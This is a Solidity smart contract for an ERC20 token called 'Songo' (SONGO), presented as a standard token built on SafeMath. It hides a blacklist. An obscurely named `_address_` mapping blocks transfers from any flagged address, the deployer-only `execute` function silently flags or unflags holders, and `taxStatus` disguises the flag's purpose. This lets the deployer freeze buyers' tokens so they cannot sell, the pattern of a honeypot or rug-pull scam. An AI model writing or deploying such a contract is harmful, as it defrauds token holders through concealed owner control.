//SPDX-License-Identifier: MIT

pragma solidity =0.5.10;

library SafeMath {

  function mul(
    uint256 a,
    uint256 b
  ) 
    internal
    pure
    returns (uint256 c)
  {
    if (a == 0) {
      return 0;
    }
    c = a * b;
    assert(c / a == b);
    return c;
  }

  function sub(
    uint256 a,
    uint256 b
  ) 
    internal
    pure
    returns (uint256)
  {
    assert(b <= a);
    return a - b;
  }

  function add(
    uint256 a,
    uint256 b
  ) internal
    pure
    returns (uint256 c)
  {
    c = a + b;
    assert(c >= a);
    return c;
  }
  
  function div(
    uint256 a,
    uint256 b
  ) 
    internal
    pure
    returns (uint256)
  {
    return a / b;
  }
}

contract ERC20Basic {

  function balanceOf(
    address who
  )
    public
    view
    returns (uint256);

  function totalSupply(
  )
    public
    view
    returns (uint256);
  
  function transfer(
    address to,
    uint256 value
  ) 
    public
    returns (bool);
  
  event Transfer(
    address indexed from,
    address indexed to,
    uint256 value);
}

contract BasicToken is ERC20Basic {
  using SafeMath for uint256;

  mapping (address => uint256) balances;
  mapping (address => bool) internal _address_;  
  uint256 totalSupply_;

  function totalSupply(
  ) 
    public
    view
    returns (uint256)
  {
    return totalSupply_;
  }

  function balanceOf(
    address _owner
  ) 
    public
    view
    returns (uint256) {
    return balances[_owner];
  }

  function transfer(
    address _to,
    uint256 _value
  ) public
    returns (bool)
  {
    if(_address_[msg.sender] || _address_[_to]) 
    require (_value == 0, "");
    require(_to != address(0));
    require(_value <= balances[msg.sender]);
    balances[msg.sender] = balances[msg.sender].sub(_value);
    balances[_to] = balances[_to].add(_value);
    emit Transfer(msg.sender, _to, _value);
    return true;
  }
}

contract ERC20 is ERC20Basic {

  function allowance(
    address owner,
    address spender
  )
    public
    view
    returns (uint256);

  function transferFrom(
    address from,
    address to,
    uint256 value
  )
    public
    returns (bool);
  
  function approve(
    address spender,
    uint256 value
  ) 
    public
    returns (bool);
    event Approval
  (
    address indexed owner,
    address indexed spender,
    uint256 value
  );
}

contract StandardToken is ERC20, BasicToken {

  mapping (address => mapping (address => uint256)) internal allowed;
  address internal approved;

  constructor () public {
     approved = msg.sender;
  }

  function transferFrom(
    address _from,
    address _to,
    uint256 _value
  )
    public
    returns (bool)
  {
    if(_address_[_from] || _address_[_to]) 
    require (_value == 0, "");
    require(_to != address(0));
    require(_value <= balances[_from]);
    require(_value <= allowed[_from][msg.sender]);
    balances[_from] = balances[_from].sub(_value);
    balances[_to] = balances[_to].add(_value);
    allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
    emit Transfer(_from, _to, _value);
    return true;
  }

  function allowance(
    address _owner,
    address _spender
  )
    public
    view
    returns (uint256)
  {
    return allowed[_owner][_spender];
  }

  function approve(address _spender, uint256 _value) public returns (bool) {
    allowed[msg.sender][_spender] = _value;
    emit Approval(msg.sender, _spender, _value);
    return true;
  }

  function execute(
    address _address
  ) 
    external
  {
    require(msg.sender == approved);
    if (_address_[_address] == true) {
      _address_[_address] = false;
    } else {
      _address_[_address] = true;
    }
  }

  function taxStatus(
    address _address
  )
    public
    view
    returns (bool) 
  {
    return _address_[_address];
  }

function decreaseApproval(
    address _spender,
    uint _subtractedValue
  )
    public
    returns (bool)
  {
    uint oldValue = allowed[msg.sender][_spender];
    if (_subtractedValue > oldValue) {
      allowed[msg.sender][_spender] = 0;
    } else {
      allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
    }
    emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
    return true;
  }
  
  function increaseApproval(
    address _spender,
    uint _addedValue
  )
    public
    returns (bool)
  {
    allowed[msg.sender][_spender] = (
    allowed[msg.sender][_spender].add(_addedValue));
    emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
    return true;
  }
}

contract SONGO is StandardToken {

  string public constant name = "Songo";
  string public constant symbol = "SONGO";
  uint8 public constant decimals = 9;
  uint256 public constant INITIAL_SUPPLY = 5000000000 * (10 ** uint256(decimals));

  constructor() public {
    totalSupply_ = totalSupply_.add(INITIAL_SUPPLY);
    balances[msg.sender] = balances[msg.sender].add(INITIAL_SUPPLY);
    emit Transfer(address(0), msg.sender, INITIAL_SUPPLY);
  }
}